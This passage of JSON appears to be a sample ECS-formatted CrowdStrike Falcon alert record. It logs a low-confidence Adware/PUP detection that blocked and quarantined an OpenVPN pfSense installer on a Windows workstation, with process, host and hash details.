"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "confidence": 10, - "context_timestamp": "2023-11-03T18:00:31.000Z", - "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778", - "crawl_edge_ids": { - "Sensor": [ - "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N", - "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!", - "N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr", - "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'", - "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N" - ] - }, - "crawl_vertex_ids": { - "Sensor": [ - "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", - "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", - "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", - "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", - "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135", - "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", - "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993", - "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425" - ] - }, - "crawled_timestamp": "2023-11-03T19:00:23.985Z", - "created_timestamp": "2023-11-03T18:01:23.995Z", - "data_domains": [ - "Endpoint" - ], - "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", - "device": { - "agent_load_flags": 0, - "agent_local_time": "2023-10-12T03:45:57.753Z", - "agent_version": "7.04.17605.0", - "bios_manufacturer": "ABC", - "bios_version": "F8CN42WW(V2.05)", - "cid": "92012896127c4a948236ba7601b886b0", - "config_id_base": "65994763", - "config_id_build": "17605", - "config_id_platform": 3, - "external_ip": "81.2.69.142", - "first_seen": "2023-04-07T09:36:36.000Z", - "groups": [ - "18704e21288243b58e4c76266d38caaf" - ], - "hostinfo": { - "active_directory_dn_display": [ - "WinComputers", - "WinComputers\\ABC" - ], - "domain": "ABC.LOCAL" - }, - "hostname": "ABC709-1175", - "id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "last_seen": "2023-11-03T17:51:42.000Z", - "local_ip": "81.2.69.142", - "mac_address": "AB-21-48-61-05-B2", - "machine_domain": "ABC.LOCAL", - "major_version": "10", - "minor_version": "0", - "modified_timestamp": "2023-11-03T17:53:43.000Z", - "os_version": "Windows11", - "ou": [ - "ABC", - "WinComputers" - ], - "platform_id": "0", - "platform_name": "Windows", - "product_type": "1", - "product_type_desc": "Workstation", - "site_name": "Default-First-Site-Name", - "status": "normal", - "system_manufacturer": "LENOVO", - "system_product_name": "20VE" - }, - "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "grandparent_details": { - "cmdline": "C:\\Windows\\system32\\userinit.exe", - "filename": "userinit.exe", - "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe", - "local_process_id": "4328", - "md5": "b07f77fd3f9828b2c9d61f8a36609741", - "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135", - "process_id": "392734873135", - "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", - "timestamp": "2023-10-30T16:49:19.000Z", - "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_name": "yuvraj.mahajan" - }, - "has_script_or_module_ioc": true, - "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "ioc_context": [ - { - "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "ioc_source": "library_load", - "ioc_type": "hash_sha256", - "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "type": "module" - } - ], - "ioc_values": [ - "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" - ], - "is_synthetic_quarantine_disposition": true, - "local_process_id": "17076", - "logon_domain": "ABSYS", - "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", - "name": "PrewittPupAdwareSensorDetect-Lowest", - "objective": "FalconDetectionMethod", - "parent_details": { - "cmdline": "C:\\WINDOWS\\Explorer.EXE", - "filename": "explorer.exe", - "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", - "local_process_id": "1040", - "md5": "8cc3fcdd7d52d2d5221303c213e044ae", - "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", - "process_id": "392736520876", - "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", - "timestamp": "2023-11-03T18:00:32.000Z", - "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_name": "mohit.jha" - }, - "parent_process_id": "392736520876", - "pattern_disposition": 2176, - "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.", - "pattern_disposition_details": { - "blocking_unsupported_or_disabled": false, - "bootup_safeguard_enabled": false, - "critical_process_disabled": false, - "detect": false, - "fs_operation_blocked": false, - "handle_operation_downgraded": false, - "inddet_mask": false, - "indicator": false, - "kill_action_failed": false, - "kill_parent": false, - "kill_process": false, - "kill_subprocess": false, - "operation_blocked": false, - "policy_disabled": false, - "process_blocked": true, - "quarantine_file": true, - "quarantine_machine": false, - "registry_operation_blocked": false, - "rooting": false, - "sensor_only": false, - "suspend_parent": false, - "suspend_process": false - }, - "pattern_id": "5761", - "platform": "Windows", - "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==", - "process_end_time": "2023-11-03T18:00:21.000Z", - "process_id": "399748687993", - "process_start_time": "2023-11-03T18:00:13.000Z", - "product": "epp", - "quarantined_files": [ - { - "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "state": "quarantined" - } - ], - "scenario": "NGAV", - "severity": 30, - "severity_name": "low", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "show_in_ui": true, - "source_products": [ - "FalconInsight" - ], - "source_vendors": [ - "CrowdStrike" - ], - "status": "new", - "tactic": "MachineLearning", - "tactic_id": "CSTA0004", - "technique": "Adware/PUP", - "technique_id": "CST0000", - "timestamp": "2023-11-03T18:00:22.328Z", - "tree_id": "1931778", - "tree_root": "38687993", - "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993", - "type": "ldt", - "updated_timestamp": "2023-11-03T19:00:23.985Z", - "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_name": "mohit.jha" - } - }, - "device": { - "id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "manufacturer": "LENOVO", - "model": { - "name": "20VE" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "category": [ - "process" - ], - "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "kind": "alert", - "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\\\"__\\\"59K'R?_=`'`rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\\\"<_/?I'[##WMh'H[Rcl+!!<<'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\\\"d.&=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"ioc_values\":[],\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}", - "severity": 21, - "type": [ - "start" - ] - }, - "file": { - "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe" - }, - "host": { - "domain": "ABC.LOCAL", - "hostname": "ABC709-1175", - "id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "ip": [ - "81.2.69.142" - ], - "mac": [ - "AB-21-48-61-05-B2" - ], - "os": { - "full": "Windows11", - "platform": "Windows", - "type": "windows" - } - }, - "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", - "process": { - "end": "2023-11-03T18:00:21.000Z", - "entity_id": "399748687993", - "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "hash": { - "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" - }, - "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "parent": { - "command_line": "C:\\WINDOWS\\Explorer.EXE", - "entity_id": "392736520876", - "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", - "hash": { - "md5": "8cc3fcdd7d52d2d5221303c213e044ae", - "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4" - }, - "name": "explorer.exe", - "pid": 392736520876 - }, - "pid": 399748687993, - "start": "2023-11-03T18:00:13.000Z", - "user": { - "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "name": "mohit.jha" - } - }, - "related": { - "hash": [ - "b07f77fd3f9828b2c9d61f8a36609741", - "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", - "cdf9cfebb400ce89d5b6032bfcdc693b", - "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "8cc3fcdd7d52d2d5221303c213e044ae", - "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", - "0000000000000000000000000000000000000000" - ], - "hosts": [ - "ABC.LOCAL", - "ABC709-1175" - ], - "ip": [ - "81.2.69.142" - ], - "user": [ - "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", - "S-1-5-21-1909377054-3469629671-4104191496-4425", - "yuvraj.mahajan", - "mohit.jha" - ] - }, - "tags": [ - "preserve_original_event", - "preserve_duplicate_custom_fields" - ], - "threat": { - "framework": "CrowdStrike Falcon Detections Framework", - "tactic": { - "id": [ - "CSTA0004" - ], - "name": [ - "MachineLearning" - ] - }, - "technique": { - "id": [ - "CST0000" - ], - "name": [ - "Adware/PUP" - ] - } - }, - "user": { - "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "name": "mohit.jha" - } - }, - { - "@timestamp": "2023-11-03T18:00:22.328Z", - "crowdstrike": { - "alert": { - "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", - "alleged_filetype": "exe", - "cid": "92012896127c4a948236ba7601b886b0", - "cloud_indicator": false, - "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"", - "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "confidence": 10, - "context_timestamp": "2023-11-03T18:00:31.000Z", - "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778", - "crawl_edge_ids": { - "Sensor": [ - "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N", - "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!", - "N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr", - "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'", - "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N" - ] - }, - "crawl_vertex_ids": { - "Sensor": [ - "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", - "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", - "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", - "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", - "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135", - "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", - "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993", - "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425" - ] - }, - "crawled_timestamp": "2023-11-03T19:00:23.985Z", - "created_timestamp": "2023-11-03T18:01:23.995Z", - "data_domains": [ - "Endpoint" - ], - "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", - "device": { - 